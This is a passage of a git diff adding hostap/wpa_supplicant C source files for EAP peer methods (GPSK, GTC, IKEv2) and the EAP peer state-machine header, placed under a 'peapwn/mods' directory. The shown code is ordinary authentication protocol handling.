specifier != data->specifier) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: CSuite_Sel (%d:%d) does not " + "match with the one sent in GPSK-2 (%d:%d)", + vendor, specifier, data->vendor, data->specifier); + return NULL; + } + + return pos; +} + + +static const u8 * eap_gpsk_validate_pd_payload_2(struct eap_gpsk_data *data, + const u8 *pos, const u8 *end) +{ + u16 alen; + + if (pos == NULL) + return NULL; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for " + "PD_Payload_2 length"); + return NULL; + } + alen = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < alen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for " + "%d-octet PD_Payload_2", alen); + return NULL; + } + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: PD_Payload_2", pos, alen); + pos += alen; + + return pos; +} + + +static const u8 * eap_gpsk_validate_gpsk_3_mic(struct eap_gpsk_data *data, + const u8 *payload, + const u8 *pos, const u8 *end) +{ + size_t miclen; + u8 mic[EAP_GPSK_MAX_MIC_LEN]; + + if (pos == NULL) + return NULL; + + miclen = eap_gpsk_mic_len(data->vendor, data->specifier); + if (end - pos < (int) miclen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for MIC " + "(left=%lu miclen=%lu)", + (unsigned long) (end - pos), + (unsigned long) miclen); + return NULL; + } + if (eap_gpsk_compute_mic(data->sk, data->sk_len, data->vendor, + data->specifier, payload, pos - payload, mic) + < 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to compute MIC"); + return NULL; + } + if (os_memcmp(mic, pos, miclen) != 0) { + wpa_printf(MSG_INFO, "EAP-GPSK: Incorrect MIC in GPSK-3"); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Received MIC", pos, miclen); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Computed MIC", mic, miclen); + return NULL; + } + pos += miclen; + + return pos; +} + + +static struct wpabuf * eap_gpsk_process_gpsk_3(struct eap_sm *sm, + struct eap_gpsk_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + struct wpabuf *resp; + const u8 *pos, *end; + + if (data->state != GPSK_3) { + ret->ignore = TRUE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Received Request/GPSK-3"); + + end = payload + payload_len; + + pos = eap_gpsk_validate_rand(data, payload, end); + pos = eap_gpsk_validate_id_server(data, pos, end); + pos = eap_gpsk_validate_csuite(data, pos, end); + pos = eap_gpsk_validate_pd_payload_2(data, pos, end); + pos = eap_gpsk_validate_gpsk_3_mic(data, payload, pos, end); + + if (pos == NULL) { + eap_gpsk_state(data, FAILURE); + return NULL; + } + if (pos != end) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Ignored %lu bytes of extra " + "data in the end of GPSK-2", + (unsigned long) (end - pos)); + } + + resp = eap_gpsk_send_gpsk_4(data, eap_get_id(reqData)); + if (resp == NULL) + return NULL; + + eap_gpsk_state(data, SUCCESS); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + + return resp; +} + + +static struct wpabuf * eap_gpsk_send_gpsk_4(struct eap_gpsk_data *data, + u8 identifier) +{ + struct wpabuf *resp; + u8 *rpos, *start; + size_t mlen; + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Sending Response/GPSK-4"); + + mlen = eap_gpsk_mic_len(data->vendor, data->specifier); + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_GPSK, 1 + 2 + mlen, + EAP_CODE_RESPONSE, identifier); + if (resp == NULL) + return NULL; + + wpabuf_put_u8(resp, EAP_GPSK_OPCODE_GPSK_4); + start = wpabuf_put(resp, 0); + + /* No PD_Payload_3 */ + wpabuf_put_be16(resp, 0); + + rpos = wpabuf_put(resp, mlen); + if (eap_gpsk_compute_mic(data->sk, data->sk_len, data->vendor, + data->specifier, start, rpos - start, rpos) < + 0) { + eap_gpsk_state(data, FAILURE); + wpabuf_free(resp); + return NULL; + } + + return resp; +} + + +static struct wpabuf * eap_gpsk_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_gpsk_data *data = priv; + struct wpabuf *resp; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_GPSK, reqData, &len); + if (pos == NULL || len < 1) { + ret->ignore = TRUE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Received frame: opcode %d", *pos); + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = FALSE; + + switch (*pos) { + case EAP_GPSK_OPCODE_GPSK_1: + resp = eap_gpsk_process_gpsk_1(sm, data, ret, reqData, + pos + 1, len - 1); + break; + case EAP_GPSK_OPCODE_GPSK_3: + resp = eap_gpsk_process_gpsk_3(sm, data, ret, reqData, + pos + 1, len - 1); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-GPSK: Ignoring message with " + "unknown opcode %d", *pos); + ret->ignore = TRUE; + return NULL; + } + + return resp; +} + + +static Boolean eap_gpsk_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_gpsk_data *data = priv; + return data->state == SUCCESS; +} + + +static u8 * eap_gpsk_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_gpsk_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static u8 * eap_gpsk_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_gpsk_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +static u8 * eap_gpsk_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_gpsk_data *data = priv; + u8 *sid; + + if (data->state != SUCCESS) + return NULL; + + sid = os_malloc(data->id_len); + if (sid == NULL) + return NULL; + os_memcpy(sid, data->session_id, data->id_len); + *len = data->id_len; + + return sid; +} + + +int eap_peer_gpsk_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_GPSK, "GPSK"); + if (eap == NULL) + return -1; + + eap->init = eap_gpsk_init; + eap->deinit = eap_gpsk_deinit; + eap->process = eap_gpsk_process; + eap->isKeyAvailable = eap_gpsk_isKeyAvailable; + eap->getKey = eap_gpsk_getKey; + eap->get_emsk = eap_gpsk_get_emsk; + eap->getSessionId = eap_gpsk_get_session_id; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_gtc.c b/peapwn/mods/hostap/src/eap_peer/eap_gtc.c new file mode 100644 index 000000000..9f3cfbdac --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_gtc.c @@ -0,0 +1,145 @@ +/* + * EAP peer method: EAP-GTC (RFC 3748) + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" + + +struct eap_gtc_data { + int prefix; +}; + + +static void * eap_gtc_init(struct eap_sm *sm) +{ + struct eap_gtc_data *data; + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + if (sm->m && sm->m->vendor == EAP_VENDOR_IETF && + sm->m->method == EAP_TYPE_FAST) { + wpa_printf(MSG_DEBUG, "EAP-GTC: EAP-FAST tunnel - use prefix " + "with challenge/response"); + data->prefix = 1; + } + return data; +} + + +static void eap_gtc_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_gtc_data *data = priv; + os_free(data); +} + + +static struct wpabuf * eap_gtc_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_gtc_data *data = priv; + struct wpabuf *resp; + const u8 *pos, *password, *identity; + size_t password_len, identity_len, len, plen; + int otp; + u8 id; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_GTC, reqData, &len); + if (pos == NULL) { + ret->ignore = TRUE; + return NULL; + } + id = eap_get_id(reqData); + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-GTC: Request message", pos, len); + if (data->prefix && + (len < 10 || os_memcmp(pos, "CHALLENGE=", 10) != 0)) { + wpa_printf(MSG_DEBUG, "EAP-GTC: Challenge did not start with " + "expected prefix"); + + /* Send an empty response in order to allow tunneled + * acknowledgement of the failure. This will also cover the + * error case which seems to use EAP-MSCHAPv2 like error + * reporting with EAP-GTC inside EAP-FAST tunnel. */ + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_GTC, + 0, EAP_CODE_RESPONSE, id); + return resp; + } + + password = eap_get_config_otp(sm, &password_len); + if (password) + otp = 1; + else { + password = eap_get_config_password(sm, &password_len); + otp = 0; + } + + if (password == NULL) { + wpa_printf(MSG_INFO, "EAP-GTC: Password not configured"); + eap_sm_request_otp(sm, (const char *) pos, len); + ret->ignore = TRUE; + return NULL; + } + + ret->ignore = FALSE; + + ret->methodState = data->prefix ? METHOD_MAY_CONT : METHOD_DONE; + ret->decision = DECISION_COND_SUCC; + ret->allowNotifications = FALSE; + + plen = password_len; + identity = eap_get_config_identity(sm, &identity_len); + if (identity == NULL) + return NULL; + if (data->prefix) + plen += 9 + identity_len + 1; + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_GTC, plen, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + if (data->prefix) { + wpabuf_put_data(resp, "RESPONSE=", 9); + wpabuf_put_data(resp, identity, identity_len); + wpabuf_put_u8(resp, '\0'); + } + wpabuf_put_data(resp, password, password_len); + wpa_hexdump_ascii_key(MSG_MSGDUMP, "EAP-GTC: Response", + wpabuf_head_u8(resp) + sizeof(struct eap_hdr) + + 1, plen); + + if (otp) { + wpa_printf(MSG_DEBUG, "EAP-GTC: Forgetting used password"); + eap_clear_config_otp(sm); + } + + return resp; +} + + +int eap_peer_gtc_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_GTC, "GTC"); + if (eap == NULL) + return -1; + + eap->init = eap_gtc_init; + eap->deinit = eap_gtc_deinit; + eap->process = eap_gtc_process; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_i.h b/peapwn/mods/hostap/src/eap_peer/eap_i.h new file mode 100644 index 000000000..9307f3f60 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_i.h @@ -0,0 +1,371 @@ +/* + * EAP peer state machines internal structures (RFC 4137) + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_I_H +#define EAP_I_H + +#include "wpabuf.h" +#include "eap_peer/eap.h" +#include "eap_common/eap_common.h" + +/* RFC 4137 - EAP Peer state machine */ + +typedef enum { + DECISION_FAIL, DECISION_COND_SUCC, DECISION_UNCOND_SUCC +} EapDecision; + +typedef enum { + METHOD_NONE, METHOD_INIT, METHOD_CONT, METHOD_MAY_CONT, METHOD_DONE +} EapMethodState; + +/** + * struct eap_method_ret - EAP return values from struct eap_method::process() + * + * These structure contains OUT variables for the interface between peer state + * machine and methods (RFC 4137, Sect. 4.2). eapRespData will be returned as + * the return value of struct eap_method::process() so it is not included in + * this structure. + */ +struct eap_method_ret { + /** + * ignore - Whether method decided to drop the current packed (OUT) + */ + Boolean ignore; + + /** + * methodState - Method-specific state (IN/OUT) + */ + EapMethodState methodState; + + /** + * decision - Authentication decision (OUT) + */ + EapDecision decision; + + /** + * allowNotifications - Whether method allows notifications (OUT) + */ + Boolean allowNotifications; +}; + + +/** + * struct eap_method - EAP method interface + * This structure defines the EAP method interface. Each method will need to + * register its own EAP type, EAP name, and set of function pointers for method + * specific operations. This interface is based on section 4.4 of RFC 4137. + */ +struct eap_method { + /** + * vendor - EAP Vendor-ID (EAP_VENDOR_*) (0 = IETF) + */ + int vendor; + + /** + * method - EAP type number (EAP_TYPE_*) + */ + EapType method; + + /** + * name - Name of the method (e.g., "TLS") + */ + const char *name; + + /** + * init - Initialize an EAP method + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * Returns: Pointer to allocated private data, or %NULL on failure + * + * This function is used to initialize the EAP method explicitly + * instead of using METHOD_INIT state as specific in RFC 4137. The + * method is expected to initialize it method-specific state and return + * a pointer that will be used as the priv argument to other calls. + */ + void * (*init)(struct eap_sm *sm); + + /** + * deinit - Deinitialize an EAP method + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * + * Deinitialize the EAP method and free any allocated private data. + */ + void (*deinit)(struct eap_sm *sm, void *priv); + + /** + * process - Process an EAP request + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * @ret: Return values from EAP request validation and processing + * @reqData: EAP request to be processed (eapReqData) + * Returns: Pointer to allocated EAP response packet (eapRespData) + * + * This function is a combination of m.check(), m.process(), and + * m.buildResp() procedures defined in section 4.4 of RFC 4137 In other + * words, this function validates the incoming request, processes it, + * and build a response packet. m.check() and m.process() return values + * are returned through struct eap_method_ret *ret variable. Caller is + * responsible for freeing the returned EAP response packet. + */ + struct wpabuf * (*process)(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData); + + /** + * isKeyAvailable - Find out whether EAP method has keying material + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * Returns: %TRUE if key material (eapKeyData) is available + */ + Boolean (*isKeyAvailable)(struct eap_sm *sm, void *priv); + + /** + * getKey - Get EAP method specific keying material (eapKeyData) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * @len: Pointer to variable to store key length (eapKeyDataLen) + * Returns: Keying material (eapKeyData) or %NULL if not available + * + * This function can be used to get the keying material from the EAP + * method. The key may already be stored in the method-specific private + * data or this function may derive the key. + */ + u8 * (*getKey)(struct eap_sm *sm, void *priv, size_t *len); + + /** + * get_status - Get EAP method status + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * @buf: Buffer for status information + * @buflen: Maximum buffer length + * @verbose: Whether to include verbose status information + * Returns: Number of bytes written to buf + * + * Query EAP method for status information. This function fills in a + * text area with current status information from the EAP method. If + * the buffer (buf) is not large enough, status information will be + * truncated to fit the buffer. + */ + int (*get_status)(struct eap_sm *sm, void *priv, char *buf, + size_t buflen, int verbose); + + /** + * has_reauth_data - Whether method is ready for fast reauthentication + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * Returns: %TRUE or %FALSE based on whether fast reauthentication is + * possible + * + * This function is an optional handler that only EAP methods + * supporting fast re-authentication need to implement. + */ + Boolean (*has_reauth_data)(struct eap_sm *sm, void *priv); + + /** + * deinit_for_reauth - Release data that is not needed for fast re-auth + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * + * This function is an optional handler that only EAP methods + * supporting fast re-authentication need to implement. This is called + * when authentication has been completed and EAP state machine is + * requesting that enough state information is maintained for fast + * re-authentication + */ + void (*deinit_for_reauth)(struct eap_sm *sm, void *priv); + + /** + * init_for_reauth - Prepare for start of fast re-authentication + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * + * This function is an optional handler that only EAP methods + * supporting fast re-authentication need to implement. This is called + * when EAP authentication is started and EAP state machine is + * requesting fast re-authentication to be used. + */ + void * (*init_for_reauth)(struct eap_sm *sm, void *priv); + + /** + * get_identity - Get method specific identity for re-authentication + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * @len: Length of the returned identity + * Returns: Pointer to the method specific identity or %NULL if default + * identity is to be used + * + * This function is an optional handler that only EAP methods + * that use method specific identity need to implement. + */ + const u8 * (*get_identity)(struct eap_sm *sm, void *priv, size_t *len); + + /** + * free - Free EAP method data + * @method: Pointer to the method data registered with + * eap_peer_method_register(). + * + * This function will be called when the EAP method is being + * unregistered. If the EAP method allocated resources during + * registration (e.g., allocated struct eap_method), they should be + * freed in this function. No other method functions will be called + * after this call. If this function is not defined (i.e., function + * pointer is %NULL), a default handler is used to release the method + * data with free(method). This is suitable for most cases. + */ + void (*free)(struct eap_method *method); + +#define EAP_PEER_METHOD_INTERFACE_VERSION 1 + /** + * version - Version of the EAP peer method interface + * + * The EAP peer method implementation should set this variable to + * EAP_PEER_METHOD_INTERFACE_VERSION. This is used to verify that the + * EAP method is using supported API version when using dynamically + * loadable EAP methods. + */ + int version; + + /** + * next - Pointer to the next EAP method + * + * This variable is used internally in the EAP method registration code + * to create a linked list of registered EAP methods. + */ + struct eap_method *next; + +#ifdef CONFIG_DYNAMIC_EAP_METHODS + /** + * dl_handle - Handle for the dynamic library + * + * This variable is used internally in the EAP method registration code + * to store a handle for the dynamic library. If the method is linked + * in statically, this is %NULL. + */ + void *dl_handle; +#endif /* CONFIG_DYNAMIC_EAP_METHODS */ + + /** + * get_emsk - Get EAP method specific keying extended material (EMSK) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * @len: Pointer to a variable to store EMSK length + * Returns: EMSK or %NULL if not available + * + * This function can be used to get the extended keying material from + * the EAP method. The key may already be stored in the method-specific + * private data or this function may derive the key. + */ + u8 * (*get_emsk)(struct eap_sm *sm, void *priv, size_t *len); + + /** + * getSessionId - Get EAP method specific Session-Id + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * @len: Pointer to a variable to store Session-Id length + * Returns: Session-Id or %NULL if not available + * + * This function can be used to get the Session-Id from the EAP method. + * The Session-Id may already be stored in the method-specific private + * data or this function may derive the Session-Id. + */ + u8 * (*getSessionId)(struct eap_sm *sm, void *priv, size_t *len); +}; + + +/** + * struct eap_sm - EAP state machine data + */ +struct eap_sm { + enum { + EAP_INITIALIZE, EAP_DISABLED, EAP_IDLE, EAP_RECEIVED, + EAP_GET_METHOD, EAP_METHOD, EAP_SEND_RESPONSE, EAP_DISCARD, + EAP_IDENTITY, EAP_NOTIFICATION, EAP_RETRANSMIT, EAP_SUCCESS, + EAP_FAILURE + } EAP_state; + /* Long-term local variables */ + EapType selectedMethod; + EapMethodState methodState; + int lastId; + struct wpabuf *lastRespData; + EapDecision decision; + /* Short-term local variables */ + Boolean rxReq; + Boolean rxSuccess; + Boolean rxFailure; + int reqId; + EapType reqMethod; + int reqVendor; + u32 reqVendorMethod; + Boolean ignore; + /* Constants */ + int ClientTimeout; + + /* Miscellaneous variables */ + Boolean allowNotifications; /* peer state machine <-> methods */ + struct wpabuf *eapRespData; /* peer to lower layer */ + Boolean eapKeyAvailable; /* peer to lower layer */ + u8 *eapKeyData; /* peer to lower layer */ + size_t eapKeyDataLen; /* peer to lower layer */ + u8 *eapSessionId; /* peer to lower layer */ + size_t eapSessionIdLen; /* peer to lower layer */ + const struct eap_method *m; /* selected EAP method */ + /* not defined in RFC 4137 */ + Boolean changed; + void *eapol_ctx; + struct eapol_callbacks *eapol_cb; + void *eap_method_priv; + int init_phase2; + int fast_reauth; + + Boolean rxResp /* LEAP only */; + Boolean leap_done; + Boolean peap_done; + u8 req_md5[16]; /* MD5() of the current EAP packet */ + u8 last_md5[16]; /* MD5() of the previously received EAP packet; used + * in duplicate request detection. */ + + void *msg_ctx; + void *scard_ctx; + void *ssl_ctx; + void *ssl_ctx2; + + unsigned int workaround; + + /* Optional challenges generated in Phase 1 (EAP-FAST) */ + u8 *peer_challenge, *auth_challenge; + + int num_rounds; + int force_disabled; + + struct wps_context *wps; + + int prev_failure; + + struct ext_password_data *ext_pw; + struct wpabuf *ext_pw_buf; + + int external_sim; +}; + +const u8 * eap_get_config_identity(struct eap_sm *sm, size_t *len); +const u8 * eap_get_config_password(struct eap_sm *sm, size_t *len); +const u8 * eap_get_config_password2(struct eap_sm *sm, size_t *len, int *hash); +const u8 * eap_get_config_new_password(struct eap_sm *sm, size_t *len); +const u8 * eap_get_config_otp(struct eap_sm *sm, size_t *len); +void eap_clear_config_otp(struct eap_sm *sm); +const char * eap_get_config_phase1(struct eap_sm *sm); +const char * eap_get_config_phase2(struct eap_sm *sm); +int eap_get_config_fragment_size(struct eap_sm *sm); +struct eap_peer_config * eap_get_config(struct eap_sm *sm); +void eap_set_config_blob(struct eap_sm *sm, struct wpa_config_blob *blob); +const struct wpa_config_blob * +eap_get_config_blob(struct eap_sm *sm, const char *name); +void eap_notify_pending(struct eap_sm *sm); +int eap_allowed_method(struct eap_sm *sm, int vendor, u32 method); + +#endif /* EAP_I_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_ikev2.c b/peapwn/mods/hostap/src/eap_peer/eap_ikev2.c new file mode 100644 index 000000000..09a655ecf --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_ikev2.c @@ -0,0 +1,531 @@ +/* + * EAP-IKEv2 peer (RFC 5106) + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#include "eap_common/eap_ikev2_common.h" +#include "ikev2.h" + + +struct eap_ikev2_data { + struct ikev2_responder_data ikev2; + enum { WAIT_START, PROC_MSG, WAIT_FRAG_ACK, DONE, FAIL } state; + struct wpabuf *in_buf; + struct wpabuf *out_buf; + size_t out_used; + size_t fragment_size; + int keys_ready; + u8 keymat[EAP_MSK_LEN + EAP_EMSK_LEN]; + int keymat_ok; +}; + + +static const char * eap_ikev2_state_txt(int state) +{ + switch (state) { + case WAIT_START: + return "WAIT_START"; + case PROC_MSG: + return "PROC_MSG"; + case WAIT_FRAG_ACK: + return "WAIT_FRAG_ACK"; + case DONE: + return "DONE"; + case FAIL: + return "FAIL"; + default: + return "?"; + } +} + + +static void eap_ikev2_state(struct eap_ikev2_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-IKEV2: %s -> %s", + eap_ikev2_state_txt(data->state), + eap_ikev2_state_txt(state)); + data->state = state; +} + + +static void * eap_ikev2_init(struct eap_sm *sm) +{ + struct eap_ikev2_data *data; + const u8 *identity, *password; + size_t identity_len, password_len; + + identity = eap_get_config_identity(sm, &identity_len); + if (identity == NULL) { + wpa_printf(MSG_INFO, "EAP-IKEV2: No identity available"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = WAIT_START; + data->fragment_size = IKEV2_FRAGMENT_SIZE; + data->ikev2.state = SA_INIT; + data->ikev2.peer_auth = PEER_AUTH_SECRET; + data->ikev2.key_pad = (u8 *) os_strdup("Key Pad for EAP-IKEv2"); + if (data->ikev2.key_pad == NULL) + goto failed; + data->ikev2.key_pad_len = 21; + data->ikev2.IDr = os_malloc(identity_len); + if (data->ikev2.IDr == NULL) + goto failed; + os_memcpy(data->ikev2.IDr, identity, identity_len); + data->ikev2.IDr_len = identity_len; + + password = eap_get_config_password(sm, &password_len); + if (password) { + data->ikev2.shared_secret = os_malloc(password_len); + if (data->ikev2.shared_secret == NULL) + goto failed; + os_memcpy(data->ikev2.shared_secret, password, password_len); + data->ikev2.shared_secret_len = password_len; + } + + return data; + +failed: + ikev2_responder_deinit(&data->ikev2); + os_free(data); + return NULL; +} + + +static void eap_ikev2_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_ikev2_data *data = priv; + wpabuf_free(data->in_buf); + wpabuf_free(data->out_buf); + ikev2_responder_deinit(&data->ikev2); + os_free(data); +} + + +static int eap_ikev2_peer_keymat(struct eap_ikev2_data *data) +{ + if (eap_ikev2_derive_keymat( + data->ikev2.proposal.prf, &data->ikev2.keys, + data->ikev2.i_nonce, data->ikev2.i_nonce_len, + data->ikev2.r_nonce, data->ikev2.r_nonce_len, + data->keymat) < 0) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Failed to " + "derive key material"); + return -1; + } + data->keymat_ok = 1; + return 0; +} + + +static struct wpabuf * eap_ikev2_build_msg(struct eap_ikev2_data *data, + struct eap_method_ret *ret, u8 id) +{ + struct wpabuf *resp; + u8 flags; + size_t send_len, plen, icv_len = 0; + + ret->ignore = FALSE; + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Generating Response"); + ret->allowNotifications = TRUE; + + flags = 0; + send_len = wpabuf_len(data->out_buf) - data->out_used; + if (1 + send_len > data->fragment_size) { + send_len = data->fragment_size - 1; + flags |= IKEV2_FLAGS_MORE_FRAGMENTS; + if (data->out_used == 0) { + flags |= IKEV2_FLAGS_LENGTH_INCLUDED; + send_len -= 4; + } + } +#ifdef CCNS_PL + /* Some issues figuring out the length of the message if Message Length + * field not included?! */ + if (!(flags & IKEV2_FLAGS_LENGTH_INCLUDED)) + flags |= IKEV2_FLAGS_LENGTH_INCLUDED; +#endif /* CCNS_PL */ + + plen = 1 + send_len; + if (flags & IKEV2_FLAGS_LENGTH_INCLUDED) + plen += 4; + if (data->keys_ready) { + const struct ikev2_integ_alg *integ; + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Add Integrity Checksum " + "Data"); + flags |= IKEV2_FLAGS_ICV_INCLUDED; + integ = ikev2_get_integ(data->ikev2.proposal.integ); + if (integ == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Unknown INTEG " + "transform / cannot generate ICV"); + return NULL; + } + icv_len = integ->hash_len; + + plen += icv_len; + } + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_IKEV2, plen, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + wpabuf_put_u8(resp, flags); /* Flags */ + if (flags & IKEV2_FLAGS_LENGTH_INCLUDED) + wpabuf_put_be32(resp, wpabuf_len(data->out_buf)); + + wpabuf_put_data(resp, wpabuf_head_u8(data->out_buf) + data->out_used, + send_len); + data->out_used += send_len; + + if (flags & IKEV2_FLAGS_ICV_INCLUDED) { + const u8 *msg = wpabuf_head(resp); + size_t len = wpabuf_len(resp); + ikev2_integ_hash(data->ikev2.proposal.integ, + data->ikev2.keys.SK_ar, + data->ikev2.keys.SK_integ_len, + msg, len, wpabuf_put(resp, icv_len)); + } + + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + + if (data->out_used == wpabuf_len(data->out_buf)) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Sending out %lu bytes " + "(message sent completely)", + (unsigned long) send_len); + wpabuf_free(data->out_buf); + data->out_buf = NULL; + data->out_used = 0; + switch (data->ikev2.state) { + case SA_AUTH: + /* SA_INIT was sent out, so message have to be + * integrity protected from now on. */ + data->keys_ready = 1; + break; + case IKEV2_DONE: + ret->methodState = METHOD_DONE; + if (data->state == FAIL) + break; + ret->decision = DECISION_COND_SUCC; + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Authentication " + "completed successfully"); + if (eap_ikev2_peer_keymat(data)) + break; + eap_ikev2_state(data, DONE); + break; + case IKEV2_FAILED: + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Authentication " + "failed"); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + break; + default: + break; + } + } else { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Sending out %lu bytes " + "(%lu more to send)", (unsigned long) send_len, + (unsigned long) wpabuf_len(data->out_buf) - + data->out_used); + eap_ikev2_state(data, WAIT_FRAG_ACK); + } + + return resp; +} + + +static int eap_ikev2_process_icv(struct eap_ikev2_data *data, + const struct wpabuf *reqData, + u8 flags, const u8 *pos, const u8 **end) +{ + if (flags & IKEV2_FLAGS_ICV_INCLUDED) { + int icv_len = eap_ikev2_validate_icv( + data->ikev2.proposal.integ, &data->ikev2.keys, 1, + reqData, pos, *end); + if (icv_len < 0) + return -1; + /* Hide Integrity Checksum Data from further processing */ + *end -= icv_len; + } else if (data->keys_ready) { + wpa_printf(MSG_INFO, "EAP-IKEV2: The message should have " + "included integrity checksum"); + return -1; + } + + return 0; +} + + +static int eap_ikev2_process_cont(struct eap_ikev2_data *data, + const u8 *buf, size_t len) +{ + /* Process continuation of a pending message */ + if (len > wpabuf_tailroom(data->in_buf)) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Fragment overflow"); + eap_ikev2_state(data, FAIL); + return -1; + } + + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Received %lu bytes, waiting " + "for %lu bytes more", (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + + return 0; +} + + +static struct wpabuf * eap_ikev2_process_fragment(struct eap_ikev2_data *data, + struct eap_method_ret *ret, + u8 id, u8 flags, + u32 message_length, + const u8 *buf, size_t len) +{ + /* Process a fragment that is not the last one of the message */ + if (data->in_buf == NULL && !(flags & IKEV2_FLAGS_LENGTH_INCLUDED)) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: No 